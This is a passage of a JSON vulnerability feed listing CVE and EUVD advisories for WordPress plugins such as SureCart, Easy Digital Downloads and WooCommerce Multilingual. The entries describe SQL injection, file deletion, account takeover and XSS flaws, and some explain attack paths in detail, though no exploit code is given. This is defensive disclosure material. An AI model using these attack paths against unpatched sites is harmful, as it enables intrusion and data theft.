database.","cvss":7.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":null,"epss":0.00347,"ranking_epss":0.28303,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9.1/includes/api/class-wc-advanced-shipment-tracking-rest-api-controller.php#L116","https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9.1/includes/api/class-wc-advanced-shipment-tracking-rest-api-controller.php#L224","https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9.1/includes/class-wc-advanced-shipment-tracking-admin.php#L2144","https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9/includes/class-wc-advanced-shipment-tracking-admin.php#L2131","https://plugins.trac.wordpress.org/changeset?reponame=&new=3495394%40woo-advanced-shipment-tracking%2Ftrunk&old=3457814%40woo-advanced-shipment-tracking%2Ftrunk","https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3457832%40woo-advanced-shipment-tracking&new=3495394%40woo-advanced-shipment-tracking","https://wordpress.org/plugins/woo-advanced-shipment-tracking/","https://www.wordfence.com/threat-intel/vulnerabilities/id/76fb0ffd-32c1-483d-ae95-9bc70ba1c064?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:33","euvd":{"id":"EUVD-2026-115663","description":"The Advanced Shipment Tracking for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the `tracking_provider` parameter of the `POST /wp-json/wc-ast/v3/orders/<order_id>/shipment-trackings` REST endpoint in all versions up to, and including, 3.9. This is due to insufficient escaping on the user-supplied parameter and lack of sufficient preparation on the existing SQL query in `WC_Advanced_Shipment_Tracking_Admin::get_provider_slug_from_name()` — the value is concatenated directly into the format string of `$wpdb->prepare()` rather than bound as a parameter, bypassing parameterised-query protections. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to append additional SQL queries into the already-existing query that can be used to extract sensitive information from the database.","published_time":"2026-11-03T04:43:07","cvss":7.2,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/76fb0ffd-32c1-483d-ae95-9bc70ba1c064?source=cve","https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9/includes/class-wc-advanced-shipment-tracking-admin.php#L2131","https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9.1/includes/class-wc-advanced-shipment-tracking-admin.php#L2144","https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9.1/includes/api/class-wc-advanced-shipment-tracking-rest-api-controller.php#L224","https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9.1/includes/api/class-wc-advanced-shipment-tracking-rest-api-controller.php#L116","https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3457832%40woo-advanced-shipment-tracking&new=3495394%40woo-advanced-shipment-tracking","https://wordpress.org/plugins/woo-advanced-shipment-tracking/","https://plugins.trac.wordpress.org/changeset?reponame=&new=3495394%40woo-advanced-shipment-tracking%2Ftrunk&old=3457814%40woo-advanced-shipment-tracking%2Ftrunk"],"products":["Advanced Shipment Tracking for WooCommerce"],"vendors":["zorem"]},"ghsa":null},{"cve_id":"CVE-2026-120559","summary":"The Contact Form Extender for Divi Builder plugin for WordPress is vulnerable to Arbitrary File Deletion due to insufficient file path validation in the cfefd_remove_uploaded_file() function in all versions up to, and including, 1.0.6. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The nonce protecting this AJAX action is rendered into the public page source via wp_localize_script and is therefore retrievable by any unauthenticated visitor.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":0.00674,"ranking_epss":0.52203,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/contact-form-extender-for-divi-builder/tags/1.0.3/includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php#L159","https://plugins.trac.wordpress.org/browser/contact-form-extender-for-divi-builder/tags/1.0.3/includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php#L18","https://plugins.trac.wordpress.org/browser/contact-form-extender-for-divi-builder/tags/1.0.7/includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php#L166","https://plugins.trac.wordpress.org/changeset?old_path=contact-form-extender-for-divi-builder%2Ftags%2F1.0.6&new_path=contact-form-extender-for-divi-builder%2Ftags%2F1.0.7","https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3499767%40contact-form-extender-for-divi-builder%2Ftrunk&old=3499766%40contact-form-extender-for-divi-builder%2Ftrunk&sfp_email=&sfph_mail=","https://wordpress.org/plugins/contact-form-extender-for-divi-builder/#developers","https://www.wordfence.com/threat-intel/vulnerabilities/id/7bbead7c-47b9-473f-b335-6fae4b5998d6?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:33","euvd":{"id":"EUVD-2026-115665","description":"The Contact Form Extender for Divi Builder plugin for WordPress is vulnerable to Arbitrary File Deletion due to insufficient file path validation in the cfefd_remove_uploaded_file() function in all versions up to, and including, 1.0.6. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The nonce protecting this AJAX action is rendered into the public page source via wp_localize_script and is therefore retrievable by any unauthenticated visitor.","published_time":"2026-11-03T04:43:08","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/7bbead7c-47b9-473f-b335-6fae4b5998d6?source=cve","https://plugins.trac.wordpress.org/browser/contact-form-extender-for-divi-builder/tags/1.0.3/includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php#L159","https://plugins.trac.wordpress.org/browser/contact-form-extender-for-divi-builder/tags/1.0.3/includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php#L18","https://plugins.trac.wordpress.org/browser/contact-form-extender-for-divi-builder/tags/1.0.7/includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php#L166","https://plugins.trac.wordpress.org/changeset?old_path=contact-form-extender-for-divi-builder%2Ftags%2F1.0.6&new_path=contact-form-extender-for-divi-builder%2Ftags%2F1.0.7","https://wordpress.org/plugins/contact-form-extender-for-divi-builder/#developers","https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3499767%40contact-form-extender-for-divi-builder%2Ftrunk&old=3499766%40contact-form-extender-for-divi-builder%2Ftrunk&sfp_email=&sfph_mail="],"products":["Contact Form Extender for Divi – Submissions DB & Extra Fields"],"vendors":["satindersingh"]},"ghsa":null},{"cve_id":"CVE-2026-120561","summary":"The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'do_action' function in the 'Update_Options' action class in all versions up to, and including, 3.6.2. This makes it possible for unauthenticated attackers to modify JetEngine Options Page values when an administrator has configured a form with the \"Update Options\" post-submission action. The vulnerability requires that both JetFormBuilder and JetEngine are installed and active, and that an administrator has specifically configured a form with the Update Options action.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":0.00251,"ranking_epss":0.16521,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/jetformbuilder/tags/3.3.12/compatibility/jet-engine/actions/update-options.php#L50","https://plugins.trac.wordpress.org/browser/jetformbuilder/tags/3.3.12/compatibility/jet-engine/actions/update-options.php#L75","https://plugins.trac.wordpress.org/browser/jetformbuilder/tags/3.3.12/compatibility/jet-engine/actions/update-options.php#L82","https://plugins.trac.wordpress.org/browser/jetformbuilder/trunk/compatibility/jet-engine/actions/update-options.php#L50","https://plugins.trac.wordpress.org/browser/jetformbuilder/trunk/compatibility/jet-engine/actions/update-options.php#L75","https://plugins.trac.wordpress.org/browser/jetformbuilder/trunk/compatibility/jet-engine/actions/update-options.php#L82","https://plugins.trac.wordpress.org/changeset/3575346/","https://www.wordfence.com/threat-intel/vulnerabilities/id/b0fe7d29-118f-42fb-9e48-6217faaa689b?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:33","euvd":{"id":"EUVD-2026-115666","description":"The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'do_action' function in the 'Update_Options' action class in all versions up to, and including, 3.6.2. This makes it possible for unauthenticated attackers to modify JetEngine Options Page values when an administrator has configured a form with the \"Update Options\" post-submission action. The vulnerability requires that both JetFormBuilder and JetEngine are installed and active, and that an administrator has specifically configured a form with the Update Options action.","published_time":"2026-11-03T04:43:08","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/b0fe7d29-118f-42fb-9e48-6217faaa689b?source=cve","https://plugins.trac.wordpress.org/browser/jetformbuilder/trunk/compatibility/jet-engine/actions/update-options.php#L50","https://plugins.trac.wordpress.org/browser/jetformbuilder/tags/3.3.12/compatibility/jet-engine/actions/update-options.php#L50","https://plugins.trac.wordpress.org/browser/jetformbuilder/trunk/compatibility/jet-engine/actions/update-options.php#L75","https://plugins.trac.wordpress.org/browser/jetformbuilder/tags/3.3.12/compatibility/jet-engine/actions/update-options.php#L75","https://plugins.trac.wordpress.org/browser/jetformbuilder/trunk/compatibility/jet-engine/actions/update-options.php#L82","https://plugins.trac.wordpress.org/browser/jetformbuilder/tags/3.3.12/compatibility/jet-engine/actions/update-options.php#L82","https://plugins.trac.wordpress.org/changeset/3575346/"],"products":["JetFormBuilder — Dynamic Blocks Form Builder"],"vendors":["jetmonsters"]},"ghsa":null},{"cve_id":"CVE-2026-120563","summary":"The WooCommerce Multilingual & Multicurrency with WPML plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 5.5.7. This is due to insufficient input validation on the currency exchange rate parameter in the save_currency() AJAX handler, which lacks capability checks and allows subscriber-level users to store malicious SQL payloads that are later concatenated directly into ORDER BY clauses without proper sanitization. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to append additional SQL queries to extract sensitive information from the database.","cvss":4.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.9,"cvss_v4":null,"epss":0.00301,"ranking_epss":0.2294,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/tags/5.5.5/classes/Multicurrency/WpQueryMcPrice/PriceOrderByPostMeta.php#L74","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/tags/5.5.5/inc/currencies/class-wcml-multi-currency-configuration.php#L136","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/tags/5.5.5/inc/currencies/class-wcml-multi-currency-configuration.php#L182","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/trunk/classes/Multicurrency/WpQueryMcPrice/PriceOrderByPostMeta.php#L74","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/trunk/inc/currencies/class-wcml-multi-currency-configuration.php#L136","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/trunk/inc/currencies/class-wcml-multi-currency-configuration.php#L182","https://plugins.trac.wordpress.org/changeset/3705990/","https://www.wordfence.com/threat-intel/vulnerabilities/id/b3a4ff32-52a8-4bb0-8bf6-536a89d338e9?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:33","euvd":{"id":"EUVD-2026-115667","description":"The WooCommerce Multilingual & Multicurrency with WPML plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 5.5.7. This is due to insufficient input validation on the currency exchange rate parameter in the save_currency() AJAX handler, which lacks capability checks and allows subscriber-level users to store malicious SQL payloads that are later concatenated directly into ORDER BY clauses without proper sanitization. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to append additional SQL queries to extract sensitive information from the database.","published_time":"2026-11-03T04:43:09","cvss":4.9,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/b3a4ff32-52a8-4bb0-8bf6-536a89d338e9?source=cve","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/trunk/classes/Multicurrency/WpQueryMcPrice/PriceOrderByPostMeta.php#L74","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/tags/5.5.5/classes/Multicurrency/WpQueryMcPrice/PriceOrderByPostMeta.php#L74","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/trunk/inc/currencies/class-wcml-multi-currency-configuration.php#L182","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/tags/5.5.5/inc/currencies/class-wcml-multi-currency-configuration.php#L182","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/trunk/inc/currencies/class-wcml-multi-currency-configuration.php#L136","https://plugins.trac.wordpress.org/browser/woocommerce-multilingual/tags/5.5.5/inc/currencies/class-wcml-multi-currency-configuration.php#L136","https://plugins.trac.wordpress.org/changeset/3705990/"],"products":["WPML Multilingual & Multicurrency for WooCommerce"],"vendors":["amirhelzer"]},"ghsa":null},{"cve_id":"CVE-2026-120574","summary":"The SureCart plugin for WordPress is vulnerable to unauthenticated account takeover in all versions up to, and including, 4.9.5. The passwordless one-time-code login REST route (VerificationCodeController::verify(), whose permission callback returns true) resolves an attacker-supplied login to any WordPress user, verifies a 6-digit code, and on success calls $user->login() → wp_set_auth_cookie() for a user of any role. In the affected versions this path has no per-account attempt counter, no persistent email/IP lockout or rate limit (the upstream CDN throttle is bypassable via IP rotation), and no restriction preventing high-privilege accounts from being logged in through it. An unauthenticated attacker can trigger a code for any user (including an administrator) via the companion unauthenticated endpoint and brute-force the 6-digit code to obtain an authenticated session as that user, resulting in a full administrator account takeover.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":0.00331,"ranking_epss":0.26301,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.svn.wordpress.org/surecart/trunk/app/src/Controllers/Rest/VerificationCodeController.php","https://plugins.svn.wordpress.org/surecart/trunk/app/src/Models/User.php","https://plugins.svn.wordpress.org/surecart/trunk/app/src/Rest/VerificationCodeRestServiceProvider.php","https://wordpress.org/plugins/surecart/#developers","https://www.wordfence.com/threat-intel/vulnerabilities/id/dffdcaa2-5100-48f5-9b82-e22075fd87e5?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:33","euvd":{"id":"EUVD-2026-115669","description":"The SureCart plugin for WordPress is vulnerable to unauthenticated account takeover in all versions up to, and including, 4.9.5. The passwordless one-time-code login REST route (VerificationCodeController::verify(), whose permission callback returns true) resolves an attacker-supplied login to any WordPress user, verifies a 6-digit code, and on success calls $user->login() → wp_set_auth_cookie() for a user of any role. In the affected versions this path has no per-account attempt counter, no persistent email/IP lockout or rate limit (the upstream CDN throttle is bypassable via IP rotation), and no restriction preventing high-privilege accounts from being logged in through it. An unauthenticated attacker can trigger a code for any user (including an administrator) via the companion unauthenticated endpoint and brute-force the 6-digit code to obtain an authenticated session as that user, resulting in a full administrator account takeover.","published_time":"2026-11-03T04:43:09","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/dffdcaa2-5100-48f5-9b82-e22075fd87e5?source=cve","https://plugins.svn.wordpress.org/surecart/trunk/app/src/Controllers/Rest/VerificationCodeController.php","https://plugins.svn.wordpress.org/surecart/trunk/app/src/Rest/VerificationCodeRestServiceProvider.php","https://plugins.svn.wordpress.org/surecart/trunk/app/src/Models/User.php","https://wordpress.org/plugins/surecart/#developers"],"products":["SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments"],"vendors":["SureCart"]},"ghsa":null},{"cve_id":"CVE-2026-120538","summary":"The Easy Digital Downloads plugin for WordPress is vulnerable to authentication bypass leading to administrator account takeover in all versions up to, and including, 3.7.2. During a PayPal guest checkout, the email address entered in the guest-checkout field is trusted as proof of identity: edd_get_purchase_form_user() binds the new guest order to an existing WordPress user purely on an email-address match, rewriting the order's user_id to that user's ID. The PayPal capture sink PurchaseUser::maybe_log_in_after_capture() then looked the user up by the order email (get_user_by( 'email', $order->email )) and, when $order->user_id equalled that user's ID (which the email-binding step guarantees), issued an authenticated session with wp_set_auth_cookie(). An unauthenticated attacker who starts a guest checkout using an administrator's email address (where that administrator has no existing EDD customer record) and completes the PayPal purchase flow therefore receives an authenticated session as that administrator — a full account takeover. The same sink is reachable through the standard PayPal checkout and the REST UnbrandedCard and Fastlane flows.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":0.0043,"ranking_epss":0.37236,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/customers/customer-actions.php#L49","https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/gateways/paypal/checkout-actions.php#L681","https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/orders/functions/orders.php#L798","https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/user-functions.php#L428","https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/src/Gateways/PayPal/V3/PurchaseUser.php#L174","https://wordpress.org/plugins/easy-digital-downloads/","https://www.wordfence.com/threat-intel/vulnerabilities/id/f4250328-6d6c-4eb1-9ef2-334774c1d337?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:32","euvd":{"id":"EUVD-2026-115672","description":"The Easy Digital Downloads plugin for WordPress is vulnerable to authentication bypass leading to administrator account takeover in all versions up to, and including, 3.7.2. During a PayPal guest checkout, the email address entered in the guest-checkout field is trusted as proof of identity: edd_get_purchase_form_user() binds the new guest order to an existing WordPress user purely on an email-address match, rewriting the order's user_id to that user's ID. The PayPal capture sink PurchaseUser::maybe_log_in_after_capture() then looked the user up by the order email (get_user_by( 'email', $order->email )) and, when $order->user_id equalled that user's ID (which the email-binding step guarantees), issued an authenticated session with wp_set_auth_cookie(). An unauthenticated attacker who starts a guest checkout using an administrator's email address (where that administrator has no existing EDD customer record) and completes the PayPal purchase flow therefore receives an authenticated session as that administrator — a full account takeover. The same sink is reachable through the standard PayPal checkout and the REST UnbrandedCard and Fastlane flows.","published_time":"2026-11-03T04:43:10","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/f4250328-6d6c-4eb1-9ef2-334774c1d337?source=cve","https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/user-functions.php#L428","https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/customers/customer-actions.php#L49","https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/orders/functions/orders.php#L798","https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/src/Gateways/PayPal/V3/PurchaseUser.php#L174","https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/gateways/paypal/checkout-actions.php#L681","https://wordpress.org/plugins/easy-digital-downloads/"],"products":["Easy Digital Downloads – eCommerce Payments and Subscriptions made easy"],"vendors":["smub"]},"ghsa":null},{"cve_id":"CVE-2026-120544","summary":"The Academy LMS – AI Course Builder, Quizzes, Certificates & eLearning plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 4.0.1 via the 'id' parameter. This makes it possible for authenticated attackers, with contributor-level access and above, to read the contents of arbitrary .html files on the server. The plugin appends a '.html' extension to the attacker-supplied path before reading it, so files with any other extension — including wp-config.php — are out of reach. The file's contents are returned in full in the REST JSON response's content field.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":0.0034,"ranking_epss":0.27508,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/academy/tags/4.0.1/includes/frontend/template/block.php#L12","https://plugins.trac.wordpress.org/browser/academy/tags/4.0.1/includes/frontend/template/block.php#L267","https://plugins.trac.wordpress.org/browser/academy/tags/4.0.1/includes/frontend/template/block.php#L30","https://plugins.trac.wordpress.org/browser/academy/tags/4.0.1/includes/frontend/template/block.php#L50","https://plugins.trac.wordpress.org/changeset?reponame=&old=3723396%40academy&new=3723396%40academy","https://www.wordfence.com/threat-intel/vulnerabilities/id/1f0a1439-d10c-4dfc-9a40-7319debe3c51?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:32","euvd":{"id":"EUVD-2026-115660","description":"The Academy LMS – AI Course Builder, Quizzes, Certificates & eLearning plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 4.0.1 via the 'id' parameter. This makes it possible for authenticated attackers, with contributor-level access and above, to read the contents of arbitrary .html files on the server. The plugin appends a '.html' extension to the attacker-supplied path before reading it, so files with any other extension — including wp-config.php — are out of reach. The file's contents are returned in full in the REST JSON response's content field.","published_time":"2026-11-03T04:43:06","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/1f0a1439-d10c-4dfc-9a40-7319debe3c51?source=cve","https://plugins.trac.wordpress.org/browser/academy/tags/4.0.1/includes/frontend/template/block.php#L50","https://plugins.trac.wordpress.org/browser/academy/tags/4.0.1/includes/frontend/template/block.php#L30","https://plugins.trac.wordpress.org/browser/academy/tags/4.0.1/includes/frontend/template/block.php#L267","https://plugins.trac.wordpress.org/browser/academy/tags/4.0.1/includes/frontend/template/block.php#L12","https://plugins.trac.wordpress.org/changeset?reponame=&old=3723396%40academy&new=3723396%40academy"],"products":["Academy LMS – AI Course Builder, Quizzes, Certificates & eLearning"],"vendors":["kodezen"]},"ghsa":null},{"cve_id":"CVE-2026-120551","summary":"The WP Compress – Instant Performance & Speed Optimization plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 7.22.01. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to link the victim site to an attacker-controlled WP Compress account, overwrite plugin settings to an aggressive live-CDN preset, and gain the shared api_key that authenticates all nopriv HMAC-gated endpoints — enabling full control over cache purging, file deletion, opcode cache invalidation, and other privileged plugin operations. This vulnerability only affects fresh installations or lite/free-mode installs where no api_key is already stored, as the sole guard fails open when the stored key is absent.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":0.00248,"ranking_epss":0.16187,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/wp-compress-image-optimizer/tags/7.21.27/classes/connect.class.php#L103","https://plugins.trac.wordpress.org/browser/wp-compress-image-optimizer/tags/7.21.27/classes/mainwp.class.php#L29","https://plugins.trac.wordpress.org/browser/wp-compress-image-optimizer/tags/7.21.27/classes/mainwp.class.php#L9","https://plugins.trac.wordpress.org/changeset?reponame=&old=3680035%40wp-compress-image-optimizer&new=3680035%40wp-compress-image-optimizer","https://www.wordfence.com/threat-intel/vulnerabilities/id/42d4ec8b-d3ed-4aa3-a8b9-cddaf64a7531?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:32","euvd":{"id":"EUVD-2026-115661","description":"The WP Compress – Instant Performance & Speed Optimization plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 7.22.01. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to link the victim site to an attacker-controlled WP Compress account, overwrite plugin settings to an aggressive live-CDN preset, and gain the shared api_key that authenticates all nopriv HMAC-gated endpoints — enabling full control over cache purging, file deletion, opcode cache invalidation, and other privileged plugin operations. This vulnerability only affects fresh installations or lite/free-mode installs where no api_key is already stored, as the sole guard fails open when the stored key is absent.","published_time":"2026-11-03T04:43:06","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/42d4ec8b-d3ed-4aa3-a8b9-cddaf64a7531?source=cve","https://plugins.trac.wordpress.org/browser/wp-compress-image-optimizer/tags/7.21.27/classes/mainwp.class.php#L29","https://plugins.trac.wordpress.org/browser/wp-compress-image-optimizer/tags/7.21.27/classes/mainwp.class.php#L9","https://plugins.trac.wordpress.org/browser/wp-compress-image-optimizer/tags/7.21.27/classes/connect.class.php#L103","https://plugins.trac.wordpress.org/changeset?reponame=&old=3680035%40wp-compress-image-optimizer&new=3680035%40wp-compress-image-optimizer"],"products":["WP Compress – Instant Performance & Speed Optimization"],"vendors":["AresIT"]},"ghsa":null},{"cve_id":"CVE-2026-120552","summary":"The SEO Engine – Smart SEO with AI, Schema & Redirection for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' parameter in all versions up to, and including, 0.9.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. WordPress core's wp_filter_kses (applied via title_save_pre for Contributors and Authors) strips literal tag markup on save but leaves HTML-entity-encoded payloads intact in the database, meaning entity-encoded XSS payloads stored via the standard WordPress REST API (POST /wp-json/wp/v2/posts) are not neutralized before reaching the vulnerable sink.","cvss":6.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.4,"cvss_v4":null,"epss":0.00198,"ranking_epss":0.09613,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/seo-engine/tags/0.9.9/app/index.js","https://plugins.trac.wordpress.org/browser/seo-engine/tags/0.9.9/classes/core.php#L739","https://plugins.trac.wordpress.org/browser/seo-engine/tags/0.9.9/classes/core.php#L744","https://plugins.trac.wordpress.org/browser/seo-engine/tags/0.9.9/classes/rest.php#L1381","https://plugins.trac.wordpress.org/browser/seo-engine/tags/0.9.9/classes/rest.php#L164","https://plugins.trac.wordpress.org/changeset?old_path=/seo-engine/tags/0.9.9&new_path=/seo-engine/tags/1.0.0","https://www.wordfence.com/threat-intel/vulnerabilities/id/454a05eb-fd4e-4125-abd0-7ba90ee2048a?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:32","euvd":{"id":"EUVD-2026-115662","description":"The SEO Engine – Smart SEO with AI, Schema & Redirection for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' parameter in all versions up to, and including, 0.9.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. WordPress core's wp_filter_kses (applied via title_save_pre for Contributors and Authors) strips literal tag markup on save but leaves HTML-entity-encoded payloads intact in the database, meaning entity-encoded XSS payloads stored via the standard WordPress REST API (POST /wp-json/wp/v2/posts) are not neutralized before reaching the vulnerable sink.","published_time":"2026-11-03T04:43:07","cvss":6.4,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/454a05eb-fd4e-4125-abd0-7ba90ee2048a?source=cve","https://plugins.trac.wordpress.org/browser/seo-engine/tags/0.9.9/classes/core.php#L744","https://plugins.trac.wordpress.org/browser/seo-engine/tags/0.9.9/classes/core.php#L739","https://plugins.trac.wordpress.org/browser/seo-engine/tags/0.9.9/classes/rest.php#L1381","https://plugins.trac.wordpress.org/browser/seo-engine/tags/0.9.9/classes/rest.php#L164","https://plugins.trac.wordpress.org/browser/seo-engine/tags/0.9.9/app/index.js","https://plugins.trac.wordpress.org/changeset?old_path=/seo-engine/tags/0.9.9&new_path=/seo-engine/tags/1.0.0"],"products":["SEO Engine – Smart SEO with AI, Schema & Redirection for WordPress"],"vendors":["tigroumeow"]},"ghsa":null},{"cve_id":"CVE-2026-120518","summary":"The BuddyPress XProfile Image Field plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 3.1.0. This is due to bpxp_image_field_update_on_user_activation() calling unlink() on a path built from visitor-supplied signup metadata with no realpath() resolution, no containment check against the profile-image directory and no extension allow-list. Submitting a zero-byte file with the 'field_N_hidden' parameter during registration makes the plugin store the raw value, which is then resolved against the document root when the pending signup is activated. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file (such as wp-config.php) is deleted. Requires open registration and an image-type profile field on the signup 